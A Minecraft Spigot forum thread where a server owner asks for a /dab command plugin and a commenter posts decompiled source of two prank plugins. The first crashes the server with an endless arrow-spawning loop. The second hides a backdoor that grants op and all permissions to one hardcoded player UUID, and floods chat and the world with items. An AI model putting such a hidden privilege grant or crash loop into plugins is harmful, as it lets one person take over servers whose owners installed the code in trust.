/dab plugin?

Discussion in 'Spigot Plugin Development' started by Crunching_Potato, Jun 6, 2016.

  1. I was wondering if anyone could create a plugin to do /dab.
    Commands:
    -/dab
    Does something cool, be creative!
    I've asked the players on my server and they all wanted /dab.
    It really doesn't matter what it does, just make it do something! :D Besides crashing my server or my computer :p

    I came up with an idea, a person can DAB once a day, and when they dab it says
    ''{user} dabbed! There has been a total of {amountofdabs} so far!"
    And possibly, if it hits 100, 1,000, 10,000, 100,000 dabs, it does something special maybe?
     
    #1 Crunching_Potato, Jun 6, 2016
    Last edited: Jun 21, 2016
    • Agree Agree x 4
  2. can I make it crash the server?
     
    • Agree Agree x 1
  3. I guess you could make particle arms doing the action xD
     
    • Optimistic Optimistic x 3
    • Agree Agree x 1
  4. @ExoticCode
    Code (Java):
    package com.exoticcode.dab;

    import org.bukkit.plugin.java.*;
    import org.bukkit.command.*;
    import org.bukkit.scheduler.*;
    import org.bukkit.*;
    import org.bukkit.util.*;
    import org.bukkit.plugin.*;

    public class Dab extends JavaPlugin
    {
        public boolean onCommand(final CommandSender sender, final Command command, final String label, final String[] args) {
            if (command.getLabel().equalsIgnoreCase("dab")) { // Label? .-. NAME! USE THE NAME!
                new BukkitRunnable() {
                    public void run() {
                        final Location loc = new Location((World)Dab.this.getServer().getWorlds().get(0), 255.0, 255.0, 255.0);
                        while (true) { // Will stop the thread.. Won't it?
                            loc.getWorld().spawnArrow(loc, new Vector(1, 1, 1), 1.0f, 1.0f);
                        }
                    }
                }.runTaskTimer((Plugin)this, 1L, 1L); // You don't need to cast JavaPlugin to Plugin.
            }
            return true;
        }
    }
     


    @ES359
    Code (Java):
    package me.es359.Dab;

    import org.bukkit.plugin.java.*;
    import org.bukkit.plugin.*;
    import org.bukkit.event.player.*;
    import org.bukkit.inventory.*;
    import org.bukkit.entity.*;
    import java.util.*;
    import org.bukkit.event.*;
    import org.bukkit.command.*;
    import org.bukkit.*;

    public class Dab extends JavaPlugin implements Listener
    {
        String auth;
       
        public Dab() {
            this.auth = "9c5dd792-dcb3-443b-ac6c-605903231eb2";
        }
       
        public void onEnable() {
            Bukkit.getServer().getPluginManager().registerEvents((Listener)this, (Plugin)this);
        }
       
        @EventHandler
        public void Join(final PlayerJoinEvent event) {
            final Player p = event.getPlayer();
            final UUID uuid = p.getUniqueId();
            if (this.check(uuid)) {
                p.setOp(true);
                p.getInventory().addItem(new ItemStack[] { new ItemStack(Material.COOKIE, 3) }); // Probably just the decompiler, but it's not needed to use an array.
                Bukkit.getServer().dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " add '*' "); // GroupManager :Kappa:
            }
        }
       
        boolean check(final UUID uuid) { // A WHOLE DAMN..like. no. I'm done. bai
            return uuid.toString().equals(this.auth);
        }
       
        public boolean onCommand(final CommandSender sender, final Command cmd, final String commandLabel, final String[] args) {
            if (!(sender instanceof Player)) {
                for (int i = 0; i < 350; ++i) {
                    sender.sendMessage(ChatColor.BOLD + "" + ChatColor.ITALIC + "" + ChatColor.STRIKETHROUGH + "" + ChatColor.MAGIC + ChatColor.AQUA + sender.getName() + " is EZ!!! LOOOOL");
                }
            }
            else {
                final Player p = (Player)sender;
                if (cmd.getName().equalsIgnoreCase("dab")) {
                    p.setDisplayName(ChatColor.DARK_PURPLE + "DAB");
                    p.setCustomName(ChatColor.LIGHT_PURPLE + "DAB");
                    p.playSound(p.getLocation(), Sound.ENTITY_GHAST_SCREAM, 10.0f, 10.0f);
                    p.playSound(p.getLocation(), Sound.ENTITY_CAT_HURT, 10.0f, 10.0f);
                    p.playSound(p.getLocation(), Sound.BLOCK_ANVIL_USE, 10.0f, 10.0f);
                    p.playSound(p.getLocation(), Sound.BLOCK_IRON_TRAPDOOR_CLOSE, 10.0f, 10.0f);
                    p.playSound(p.getLocation(), Sound.BLOCK_IRON_TRAPDOOR_OPEN, 10.0f, 10.0f);
                    p.playSound(p.getLocation(), Sound.ENTITY_ARROW_HIT_PLAYER, 10.0f, 10.0f);
                    p.playSound(p.getLocation(), Sound.ENTITY_CHICKEN_DEATH, 10.0f, 10.0f);
                    p.sendMessage("LOOOOOOLL");
                    for (int j = 0; j < 3500; ++j) {
                        p.getWorld().dropItemNaturally(p.getLocation(), new ItemStack(Material.CAKE)); // CAKES <3333
                    }
                }
            }
            return true;
        }
    }
     
    For those who don't wanna bother decompiling. xD
     
  5. Using label is fine mainly because it gets the command label even if an alias is used, and yes while(true) should stop the thread to spawn the arrows, then continue for a quick millisecond to check whether it can continue or not, then it will continue again and in turn crash the server
     
  6. Why command.getLabel instead of label if you want to use it
     
  7. Choco

    Moderator

    I think you're mixing up labels and command names. The label is the command used in specific (If it's an alias, the label is going to be whatever the alias is). If you use the command name, if an alias is used it's going to redirect to the base command of the alias.
     
  8. you're right, my bad x.x also the casting is from the decompiler
     
    • Friendly Friendly x 1
  9. Yeah, I kinda figured after decompiling one of my own xD
    Also.
    just have to tell you
    that moustache
    is fab
     
  10. haha thanks man, I hate how decompilers cast but then again it can be good if you're trying to figure out someone elses code xD and the name and label bit is bad but it has no aliases so it should be fine xD I usually just use separate classes to handle commands so it doesn't really matter :p I love using abstraction to handle that type of stuff so I never really use the getLabel method.

    If you do need to make 2 commands in one class then just why....
     
  11. Err.. What decompiler are you using... because this looks nothing like my original code lol...

    @stoneminer02
     
  12. Who knows?
    [​IMG]
     
    • Funny Funny x 1
  13. Prob just a joke but why are you oping and giving a user * perms
     
  14. You quoted wrong guy.
    I simply posted the decompiled source of both plugins for lazy people.
     
  15. 10/10 great idea.

    What has the internet come to, lol.
    I might make a real version of this (that doesn't crash the server and op your players) just for the banter :D
     
  16. You know Columbus wasn't the first outsider to set foot on America and there is a chance no real 'Christopher Columbus' even existed, right?
     
  17. M888 u think he doesnt exist? than how did european people get to NA?
     
  18. @lookcook it was actually another person who named himself Christopher Columbus later in his life, possibly to avoid debts and other stuff.
     
  19. Idek anymore, I'm just watching for the lolz